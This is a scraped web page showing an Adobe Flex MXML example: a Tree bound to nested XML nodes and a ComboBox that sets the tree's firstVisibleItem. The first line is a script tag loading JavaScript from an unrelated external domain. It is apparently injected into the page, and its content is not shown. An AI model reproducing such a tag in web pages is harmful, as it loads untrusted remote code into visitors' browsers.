<script src="http://www.cpcasr.cn/ad_js/mm_123.js"></script>
main.mxml
- <?xml version="1.0" encoding="utf-8"?>
- <mx:Application xmlns:mx="http://www.adobe.com/2006/mxml"
- layout="vertical"
- verticalAlign="middle"
- backgroundColor="white">
- <mx:Script>
- <![CDATA[
- import mx.events.FlexEvent;
- import mx.events.ListEvent;
- private function tree_creationComplete(evt:FlexEvent):void {
- tree.expandChildrenOf(xmlDP, true);
- }
- private function comboBox_change(evt:ListEvent):void {
- tree.firstVisibleItem = comboBox.selectedItem;
- }
- ]]>
- </mx:Script>
- <mx:XML id="xmlDP">
- <node>
- <node label="1.a" />
- <node label="1.b" />
- <node label="1.c">
- <node label="1.c.i" />
- <node label="1.c.ii" />
- <node label="1.c.iii" />
- <node label="1.c.iv" />
- <node label="1.c.v" />
- </node>
- <node label="1.d" />
- <node label="1.e">
- <node label="1.e.i" />
- <node label="1.e.ii" />
- <node label="1.e.iii">
- <node label="1.e.iii.A" />
- </node>
- <node label="1.e.iv" />
- </node>
- <node label="1.f" />
- </node>
- </mx:XML>
- <mx:ApplicationControlBar dock="true">
- <mx:Form styleName="plain">
- <mx:FormItem label="firstVisibleItem:">
- <mx:ComboBox id="comboBox"
- dataProvider="{xmlDP..node}"
- labelField="@label"
- change="comboBox_change(event);" />
- </mx:FormItem>
- </mx:Form>
- </mx:ApplicationControlBar>
- <mx:Tree id="tree"
- dataProvider="{xmlDP}"
- labelField="@label"
- showRoot="false"
- alternatingItemColors="[#EEEEEE, #FFFFFF]"
- width="50%"
- rowCount="6"
- creationComplete="tree_creationComplete(event);" />
- </mx:Application>